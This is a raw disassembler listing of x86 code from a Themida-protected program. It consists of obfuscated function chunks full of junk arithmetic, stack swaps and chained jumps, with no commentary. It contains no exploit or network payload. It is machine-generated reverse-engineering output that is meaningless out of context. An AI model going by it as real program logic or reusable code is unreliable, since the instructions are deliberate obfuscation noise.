; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55C719
loc_55F92E: ; CODE XREF: sub_55C719-88Dj
add ecx, 5C864565h
sub ecx, 2B5C7101h
pop eax
add ecx, 4
xor ecx, [esp+4+var_4]
xor [esp+4+var_4], ecx
xor ecx, [esp+4+var_4]
mov esp, [esp+4+var_4]
jmp loc_56C8AB
; END OF FUNCTION CHUNK FOR sub_55C719
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55F94F: ; CODE XREF: sub_56755A+60EFj
push edx
mov edx, 7F7E5DBEh
sub edx, 1CF762A8h
jmp loc_55E4B3
; ---------------------------------------------------------------------------
loc_55F960: ; CODE XREF: sub_56755A+796Fj
add edi, 4
xchg edi, [esp-4+arg_0]
jmp loc_5677F4
; ---------------------------------------------------------------------------
loc_55F96B: ; CODE XREF: sub_56755A+6E33j
xor ecx, eax
pop eax
sub esi, 0B436E11h
add esi, ecx
add esi, 0B436E11h
mov ecx, [esp-8+arg_4]
add esp, 4
jmp loc_5612EC
; ---------------------------------------------------------------------------
loc_55F98A: ; CODE XREF: sub_56755A+1AE8j
mov ecx, [esp-0Ch+arg_8]
add esp, 4
add eax, 8EEFF0FFh
sub ecx, 46924B84h
add ecx, 38ED74C0h
add ecx, eax
sub ecx, 38ED74C0h
jmp loc_56AA84
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55F9B1: ; CODE XREF: Themida_:0056CFE0j
push ebx
push dword ptr [esp+4]
pop ebx
jmp loc_55EA7E
; ---------------------------------------------------------------------------
loc_55F9BC: ; CODE XREF: Themida_:00560925j
pop eax
pop esi
sub edi, 73511B41h
add edi, ebp
add edi, 73511B41h
mov ebp, [esp]
add esp, 4
jmp loc_56506B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55F9D7: ; CODE XREF: sub_56755A+6358j
mov ecx, eax
jmp loc_562386
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55F9DE: ; CODE XREF: Themida_:0055F074j
neg edx
add edx, 6E761D4Ah
xor edx, 1E955CE3h
xor edx, 4D8966FFh
add edx, 5B9D2492h
add eax, edx
pop edx
sub eax, 4
xchg eax, [esp]
mov esp, [esp]
mov [esp], edi
push esp
push dword ptr [esp]
jmp loc_561407
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55FA12: ; CODE XREF: sub_56755A-362Bj
mov edx, 0B3D1499h
mov eax, 58F3D1Bh
xor eax, edx
pop edx
add eax, 2C555103h
jmp sub_56667A
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55FA29: ; CODE XREF: Themida_:0055C4D7j
push ebp
mov ebp, 4
add eax, ebp
pop ebp
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_56F796
; ---------------------------------------------------------------------------
loc_55FA40: ; CODE XREF: Themida_:0056C9BEj
xchg edi, [esp]
pop esp
jmp loc_55CB5D
; ---------------------------------------------------------------------------
loc_55FA49: ; CODE XREF: Themida_:0055FF12j
mov bl, dl
push edx
sub esp, 4
mov [esp], eax
mov ah, bl
mov dl, ah
pop eax
push ecx
mov cl, dl
mov [eax], cl
pop ecx
jmp loc_5675B4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55FA62: ; CODE XREF: sub_56755A+2225j
push 4260h
mov [esp-10h+arg_C], edx
mov edx, 4CAE38FDh
mov edi, 6D5F6E8Ch
jmp loc_5643AA
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55FA79: ; CODE XREF: Themida_:0056D876j
add esp, 4
push ecx
push esp
jmp loc_56BC69
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55FA83: ; CODE XREF: sub_56755A-E27j
mov dh, 1Ah
mov ch, dh
mov edx, [esp-10h+arg_C]
add esp, 4
and dl, ch
push [esp-14h+arg_10]
jmp loc_56AFB2
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55FA97: ; CODE XREF: Themida_:0056DC31j
mov [esp], ebp
push dword ptr [esp+4]
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
jmp loc_567EEF
; ---------------------------------------------------------------------------
loc_55FAB8: ; CODE XREF: Themida_:00560D0Cj
pop ebx
jmp loc_56D86D
; ---------------------------------------------------------------------------
loc_55FABE: ; CODE XREF: Themida_:00561A0Ej
shl esi, 3
sub esi, 0F6770EC3h
jmp loc_567D70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D600
loc_55FACC: ; CODE XREF: sub_56D600+F24j
mov bx, word ptr [esp-6+arg_0+2]
add esp, 2
not bl
add bl, 1
and bl, 0A4h
add bl, 3Eh
and cl, bl
mov ebx, [esp-0Ah+arg_4+2]
add esp, 4
push ebx
jmp loc_55E4CA
; END OF FUNCTION CHUNK FOR sub_56D600
; ---------------------------------------------------------------------------
loc_55FAEC: ; CODE XREF: Themida_:00569388j
mov [esp], edi
mov edi, 5F8D3A29h
dec edi
jmp loc_56EDB0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_55FAFA: ; CODE XREF: sub_56E89A-F491j
push edi
push edx
add [esp+0Ch+var_C], 43F4244Fh
jmp loc_564CD2
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55FB08: ; CODE XREF: sub_56755A+914j
pop ecx
add ecx, 52512253h
add ecx, ebp
sub ecx, 52512253h
jmp loc_56E3DE
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55FB1C: ; CODE XREF: Themida_:00568E07j
and esi, ebp
pop ebp
dec esi
not esi
add esi, 77CC0303h
shl esi, 4
xor esi, 0AD5F80BBh
add ebx, esi
pop esi
add edx, 3786932h
add edx, ebx
jmp loc_565F09
; ---------------------------------------------------------------------------
loc_55FB41: ; CODE XREF: Themida_:00562794j
sub ebx, edx
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_5626D1
; ---------------------------------------------------------------------------
loc_55FB4F: ; CODE XREF: Themida_:0056472Cj
sub edi, eax
pop eax
shr edi, 5
xor edi, 54BBCC03h
jmp loc_56BB19
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56026A
loc_55FB60: ; CODE XREF: sub_56026A+E684j
push esp
pop edi
jmp sub_565CEF
; END OF FUNCTION CHUNK FOR sub_56026A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55FB67: ; CODE XREF: sub_56755A+7E97j
inc esi
and esi, 11BE4D1Bh
and esi, 4C5F0A00h
sub esi, 1E07FCh
push esi
xor [esp-10h+arg_C], 2F9A3D46h
pop edi
jmp loc_5633DF
; ---------------------------------------------------------------------------
loc_55FB88: ; CODE XREF: sub_56755A-7834j
mov edx, 4
sub ecx, 1AD721E2h
add ecx, edx
add ecx, 1AD721E2h
pop edx
xchg ecx, [esp-18h+arg_14]
pop esp
push esi
mov esi, 4
add ebx, 56C65502h
push esi
mov esi, 7A887419h
sub ebx, esi
pop esi
add ebx, esi
jmp loc_55F169
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr word ptr [esp], cl
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55FBCC: ; CODE XREF: sub_56755A-15C8j
pop esp
movsx ecx, ax
push 7E3Ch
mov [esp-18h+arg_14], esi
sub esp, 4
mov [esp-14h+arg_10], esp
jmp loc_563F34
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561ED8
loc_55FBE3: ; CODE XREF: sub_561ED8+5157j
and ch, 0DFh
xor ch, 41h
add dl, ch
pop ecx
sub bl, 1Ch
add bl, dl
add bl, 1Ch
jmp loc_55D977
; END OF FUNCTION CHUNK FOR sub_561ED8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55FBF9: ; CODE XREF: sub_56755A+328Bj
push 2DDAh
mov [esp-10h+arg_C], ebp
mov ebp, 2
add ebx, ebp
mov ebp, [esp-10h+arg_C]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp-0Ch+arg_8]
pop esp
push ebx
jmp loc_55D232
; ---------------------------------------------------------------------------
loc_55FC21: ; CODE XREF: sub_56755A-385Fj
pop edi
jmp loc_55C342
; ---------------------------------------------------------------------------
loc_55FC27: ; CODE XREF: sub_56755A-B642j
sub eax, 0FFFFFFFFh
push edi
mov edi, 0B2C70654h
sub eax, 3D452A1Ah
jmp loc_563141
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564603
loc_55FC3C: ; CODE XREF: sub_564603+19j
add esi, 3DE70FB3h
shl esi, 6
jmp loc_567ED8
; END OF FUNCTION CHUNK FOR sub_564603
; ---------------------------------------------------------------------------
loc_55FC4A: ; CODE XREF: Themida_:0056F2B4j
mov ah, 3Dh
sub bl, ah
jmp loc_56DC70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55FC53: ; CODE XREF: sub_56755A+167j
xor ebx, esi
pop esi
and eax, ebx
mov ebx, [esp+12h+var_14+2]
add esp, 4
sub esp, 4
jmp loc_5610AE
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55FC6C: ; CODE XREF: Themida_:00560498j
xor [esp], ecx
xor ecx, [esp]
jmp loc_5643C2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5635DE
loc_55FC77: ; CODE XREF: sub_5635DE-2D79j
add esp, 4
and edx, 132D12ECh
jmp sub_56970A
; END OF FUNCTION CHUNK FOR sub_5635DE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55C719
loc_55FC88: ; CODE XREF: sub_55C719-EC6j
add esp, 4
push edx
mov edx, 4
add ebx, edx
jmp loc_566E46
; END OF FUNCTION CHUNK FOR sub_55C719
; ---------------------------------------------------------------------------
loc_55FC9B: ; CODE XREF: Themida_:0056306Aj
mov [esp], eax
push ecx
jmp loc_5662A3
; ---------------------------------------------------------------------------
loc_55FCA4: ; CODE XREF: Themida_:0056F362j
xchg eax, ebp
shl ebp, 4
neg ebp
add ebp, 0B77B89B7h
jmp loc_56AAA3
; ---------------------------------------------------------------------------
loc_55FCB5: ; CODE XREF: Themida_:00568B10j
mov ebx, 4
add ebp, ebx
mov ebx, [esp]
add esp, 4
push 4DD8h
mov [esp], eax
jmp loc_56347B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D83A
loc_55FCCF: ; CODE XREF: sub_56D83A+240Fj
sub [esp+8], ebp
sub dword ptr [esp+8], 4049Fh
pop ebp
jmp loc_55ED0F
; END OF FUNCTION CHUNK FOR sub_56D83A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562F50
loc_55FCE1: ; CODE XREF: sub_562F50+C0EEj
add eax, edx
pop edx
jmp loc_565030
; END OF FUNCTION CHUNK FOR sub_562F50
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5696A6
loc_55FCE9: ; CODE XREF: sub_5696A6+62CDj
shr ebp, 8
push edi
jmp sub_568EFC
; END OF FUNCTION CHUNK FOR sub_5696A6
; ---------------------------------------------------------------------------
loc_55FCF2: ; CODE XREF: Themida_:0056FED6j
xchg edi, [esp]
pop esp
mov [esp], esp
add dword ptr [esp], 4
jmp loc_56452C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55FD05: ; CODE XREF: sub_56755A+147Ej
push [esp+12h+var_14+2]
jmp loc_566FAC
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55FD0D: ; CODE XREF: Themida_:005688A0j
add esi, 73E340D0h
dec esi
push ebp
mov ebp, 0C47400Eh
jmp loc_566B28
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55FD1F: ; CODE XREF: sub_56755A+6FF6j
add ecx, 4
push edx
jmp loc_55FB88
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55FD2B: ; CODE XREF: Themida_:0056F137j
xchg eax, [esp]
jmp loc_569CF8
; ---------------------------------------------------------------------------
loc_55FD33: ; CODE XREF: Themida_:0055F2B6j
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560CAA
loc_55FD38: ; CODE XREF: sub_560CAA+52F0j
pop esp
jmp loc_564FE4
; END OF FUNCTION CHUNK FOR sub_560CAA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55FD3E: ; CODE XREF: sub_56755A-3C33j
mov esi, 0BAE527Fh
add esi, 58B0782Dh
not esi
add esi, 0A4C8F6D8h
xor esi, 58C66E3Eh
sub ecx, esi
pop esi
sub esp, 4
mov [esp+1Ah+var_1C+2], esi
push 1A3F14D1h
pop esi
xor ecx, esi
mov esi, [esp+1Ah+var_1C+2]
jmp loc_56D3F1
; ---------------------------------------------------------------------------
loc_55FD73: ; CODE XREF: sub_56755A-A7F8j
not edi
xchg edi, edx
push ecx
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp+24h+var_24]
jmp loc_55DC76
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560B67
loc_55FD8F: ; CODE XREF: sub_560B67+509Fj
mov esp, [esp+0]
mov [esp+0], ebp
jmp loc_561E7A
; END OF FUNCTION CHUNK FOR sub_560B67
; ---------------------------------------------------------------------------
loc_55FD9A: ; CODE XREF: Themida_:0056B5B7j
mov ecx, [esp]
add esp, 4
add ecx, 4
push 4520h
mov [esp], edx
push esi
mov esi, 17180212h
add esi, 0E8E7FDF2h
mov edx, esi
pop esi
sub ecx, edx
pop edx
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
jmp loc_56F306
; ---------------------------------------------------------------------------
loc_55FDD4: ; CODE XREF: Themida_:0055CF4Cj
mov [esp], ebx
jmp loc_55E040
; =============== S U B R O U T I N E =======================================
sub_55FDDC proc near ; CODE XREF: sub_56755A+491Cj
var_8 = dword ptr -8
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0055E680 SIZE 00000025 BYTES
push ebx
jmp loc_55E680
sub_55FDDC endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E55E
loc_55FDE2: ; CODE XREF: sub_56E55E-12529j
push ecx
mov ecx, 4
add ebx, ecx
jmp loc_568BC3
; END OF FUNCTION CHUNK FOR sub_56E55E
; =============== S U B R O U T I N E =======================================
sub_55FDEF proc near ; CODE XREF: sub_56755A-42CCj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055C49D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055D447 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055E8D2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0055E91B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055EC93 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055EEA4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055EFD9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00560125 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00560D1D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00560FA7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056189A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00561E6C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00562671 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005628FF SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00562FF4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056327B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00568536 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005688F9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00568960 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00568B5A SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056AD8E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056B021 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056EE0E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056F169 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056F98F SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00570223 SIZE 0000000B BYTES
push ebx
mov ebx, 13ECC057h
xor esi, ebx
mov ebx, [esp+4+var_4]
add esp, 4
xor eax, esi
jmp loc_55EEA4
sub_55FDEF endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F13C
loc_55FE04: ; CODE XREF: sub_56F13C-9AD9j
mov ebx, ecx
jmp loc_565561
; END OF FUNCTION CHUNK FOR sub_56F13C
; ---------------------------------------------------------------------------
loc_55FE0B: ; CODE XREF: Themida_:0056A307j
push edx
mov edx, esp
jmp loc_56A9F6
; =============== S U B R O U T I N E =======================================
sub_55FE13 proc near ; CODE XREF: sub_56CEC8+1E0Ej
var_A = dword ptr -0Ah
var_6 = dword ptr -6
arg_8 = word ptr 0Ch
; FUNCTION CHUNK AT 0055E006 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0055E9EE SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055F85A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00561E52 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00562971 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005636A1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00563C4E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056450E SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00568557 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00569A7F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056A2A5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056AA4B SIZE 00000009 BYTES
push bx
push edx
jmp loc_562971
sub_55FE13 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F7FC
loc_55FE1B: ; CODE XREF: sub_56F7FC-6617j
xor eax, 78BF0CCAh
xor eax, 766B142Fh
jmp loc_560811
; END OF FUNCTION CHUNK FOR sub_56F7FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55FE2A: ; CODE XREF: sub_56755A-A9CEj
mov ebp, 2BE2EF6Ch
add edi, ebp
mov ebp, [esp+0Ch+var_C]
add esp, 4
jmp loc_561DFF
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_55FE3C: ; CODE XREF: sub_56E89A-1B4j
push esp
jmp loc_560CA4
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5702DD
loc_55FE42: ; CODE XREF: sub_5702DD+9j
push 0
jmp loc_55E3B1
; END OF FUNCTION CHUNK FOR sub_5702DD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55FE4C: ; CODE XREF: sub_56755A+2DA0j
add esp, 4
jmp loc_566669
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_55FE57: ; CODE XREF: sub_56E89A-5A3Cj
mov [esp+10h+var_10], ebx
sub esp, 4
mov [esp+14h+var_14], edx
push 36E8122Eh
mov edx, [esp+18h+var_18]
add esp, 4
push 606Eh
mov [esp+18h+var_18], ebx
mov ebx, 785A568Ch
and edx, ebx
jmp loc_563933
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55FE82: ; CODE XREF: sub_56755A+9EDj
push 2DEAh
mov [esp+8+var_8], edx
mov edx, 4055784h
jmp loc_567330
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560483
loc_55FE94: ; CODE XREF: sub_560483-172Dj
push dword ptr [esp+0]
mov ebp, [esp+0]
jmp loc_56839F
; END OF FUNCTION CHUNK FOR sub_560483
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5636A9
loc_55FE9F: ; CODE XREF: sub_5636A9+1F1Ej
pop esp
xor dl, 0EAh
add bl, dl
mov edx, [esp+4+var_4]
push edx
mov edx, esp
jmp loc_5702C5
; END OF FUNCTION CHUNK FOR sub_5636A9
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop ecx
push 52F0h
mov [esp], ebx
push esp
jmp loc_55F449
; ---------------------------------------------------------------------------
loc_55FEC2: ; CODE XREF: Themida_:0055D320j
inc ebp
dec ebp
not ebp
jmp loc_56B068
; ---------------------------------------------------------------------------
loc_55FECB: ; CODE XREF: Themida_:00565C59j
push ecx
mov ch, 0BAh
mov dl, ch
pop ecx
xor dl, bh
jmp loc_5625B5
; ---------------------------------------------------------------------------
loc_55FED8: ; CODE XREF: Themida_:0056865Dj
pop eax
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], esi
mov esi, esp
push ebp
push edx
jmp loc_5696C2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55FEF5: ; CODE XREF: sub_56755A-8CF6j
push edx
push [esp+2Ah+var_28+2]
pop edx
pop [esp+2Ah+var_2C+2]
jmp loc_55D8E0
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B5E8
loc_55FF03: ; CODE XREF: sub_56B5E8+1094j
not ecx
xchg ecx, edi
not edi
jmp loc_5665E8
; END OF FUNCTION CHUNK FOR sub_56B5E8
; ---------------------------------------------------------------------------
loc_55FF0E: ; CODE XREF: Themida_:0056AC34j
pop esp
mov [esp], ebx
jmp loc_55FA49
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebx
push esp
jmp loc_55DB5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55FF22: ; CODE XREF: sub_56755A-3F92j
add eax, 0F12504Bh
sub eax, 7763EC3h
sub eax, 1D2214D5h
sub eax, edi
add eax, 1D2214D5h
add eax, 7763EC3h
sub eax, 0F12504Bh
add eax, 6BE6357Eh
pop edi
add ebx, 65716077h
push 184Dh
mov [esp+26h+var_28+2], eax
jmp loc_563F2E
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55FF5B: ; CODE XREF: Themida_:0055D8FBj
pop ebp
pop edx
add esi, ebp
mov ebp, [esp]
add esp, 4
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
movsx ecx, al
push 473Ah
mov [esp], ecx
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_55FF87: ; CODE XREF: Themida_:00569916j
pop ebx
jmp loc_56E671
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55FF8D: ; CODE XREF: sub_56755A+257Cj
mov esi, 26D47489h
and esi, 7F9B53F9h
xor esi, eax
xor eax, esi
xor esi, eax
jmp loc_567231
; ---------------------------------------------------------------------------
loc_55FFA3: ; CODE XREF: sub_56755A-454j
pop edi
push edx
sub esp, 4
push esp
pop [esp+2Eh+var_30+2]
push 13A3h
jmp loc_55CCAD
; ---------------------------------------------------------------------------
loc_55FFB9: ; CODE XREF: sub_56755A-8E89j
pop [esp+2Eh+var_30+2]
jmp loc_56E227
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_55FFC1 proc near ; CODE XREF: sub_5687A9-5026j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0055CC07 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00564F82 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056A7C6 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056D539 SIZE 00000012 BYTES
push ebx
mov ebx, 6F1832AFh
mov ecx, 6F1832AFh
sub ecx, 687E4A02h
sub ecx, ebx
add ecx, 687E4A02h
mov ebx, [esp+4+var_4]
jmp loc_56D539
sub_55FFC1 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB7D
loc_55FFE2: ; CODE XREF: sub_56CB7D-F674j
xor [esp+14h+var_14], 46581AE3h
pop ecx
xor ecx, 46581AE3h
pop edi
sub edi, 290816C8h
sub edi, 4F2267ABh
add edi, ecx
loc_55FFFF: ; DATA XREF: Themida_:0057E910o
add edi, 4F2267ABh
add edi, 290816C8h
jmp loc_564E7B
; END OF FUNCTION CHUNK FOR sub_56CB7D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_560010: ; CODE XREF: sub_56755A-935Ej
pop esi
pop dword ptr [esp+0]
jmp loc_569281
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562C5D
loc_560019: ; CODE XREF: sub_562C5D+BEE0j
sub dl, 0FDh
sub bh, dl
mov edx, [esp+6+var_6]
jmp loc_5684D2
; END OF FUNCTION CHUNK FOR sub_562C5D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_560026: ; CODE XREF: sub_56755A+3050j
xor eax, 95739DBBh
push eax
pop ecx
push [esp-4+arg_0]
mov eax, [esp+0]
add esp, 4
add esp, 4
push ebx
sub esp, 4
jmp loc_56AC0B
; ---------------------------------------------------------------------------
loc_560048: ; CODE XREF: sub_56755A-68F1j
xor ebx, [esp+0]
xor [esp+0], ebx
xor ebx, [esp+0]
mov esp, [esp+0]
push edi
mov edi, esp
add edi, 4
push ebp
mov ebp, 73BE3213h
shr ebp, 4
neg ebp
sub ebp, 0F8C41CDBh
jmp loc_5607ED
; ---------------------------------------------------------------------------
loc_560073: ; CODE XREF: sub_56755A-1372j
add edi, ebp
pop ebp
push 76E8h
jmp loc_56A788
; ---------------------------------------------------------------------------
loc_560080: ; CODE XREF: sub_56755A+4649j
or eax, eax
jz loc_56066E
push dword ptr [edi+28h]
push esi
mov esi, 5ECE1836h
xor [esp+10h+var_C], esi
pop esi
pop eax
jmp loc_5624A4
; ---------------------------------------------------------------------------
loc_56009C: ; CODE XREF: sub_56755A-1AC2j
pop eax
add edx, 2
jmp loc_56BD64
; ---------------------------------------------------------------------------
loc_5600A5: ; CODE XREF: sub_56755A-1424j
mov edx, [esp+4+var_4]
add esp, 4
sub ebx, esi
pop esi
push edx
push esp
pop edx
add edx, 4
jmp loc_56E2DD
; ---------------------------------------------------------------------------
loc_5600BF: ; CODE XREF: sub_56755A-B17Dj
shl esi, 2
xor esi, 50B91290h
sub eax, esi
pop esi
jmp loc_570565
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560DA7
loc_5600D0: ; CODE XREF: sub_560DA7+7A0j
sub ebp, 8C613DDCh
mov ebx, ebp
mov ebp, [esp+8+var_8]
push edi
push esp
jmp loc_56E039
; END OF FUNCTION CHUNK FOR sub_560DA7
; =============== S U B R O U T I N E =======================================
sub_5600E2 proc near ; CODE XREF: sub_56755A-4AEBj
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055B98C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055F6F4 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005629DB SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00563699 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00567392 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056B0F7 SIZE 0000000D BYTES
push ebp
mov ebp, 4
add edi, 0AC4680Ch
add edi, 66C30CA2h
add edi, ebp
sub edi, 66C30CA2h
sub edi, 0AC4680Ch
jmp loc_563699
sub_5600E2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_560107: ; CODE XREF: Themida_:0055BFA7j
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_567E91
; ---------------------------------------------------------------------------
loc_560115: ; CODE XREF: Themida_:0056ABFAj
sub ebp, 14E50483h
add eax, ebp
mov ebp, [esp]
jmp loc_56DB65
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FDEF
loc_560125: ; CODE XREF: sub_55FDEF+2884j
pop edx
jmp loc_570223
; END OF FUNCTION CHUNK FOR sub_55FDEF
; ---------------------------------------------------------------------------
loc_56012B: ; CODE XREF: Themida_:0055CBB8j
add ebx, 983ECBDh
add eax, ebx
mov ebx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
sub eax, 10351C3Ch
push dword ptr [esp]
pop ebp
add esp, 4
add eax, 4
xchg eax, [esp]
jmp loc_56A5F0
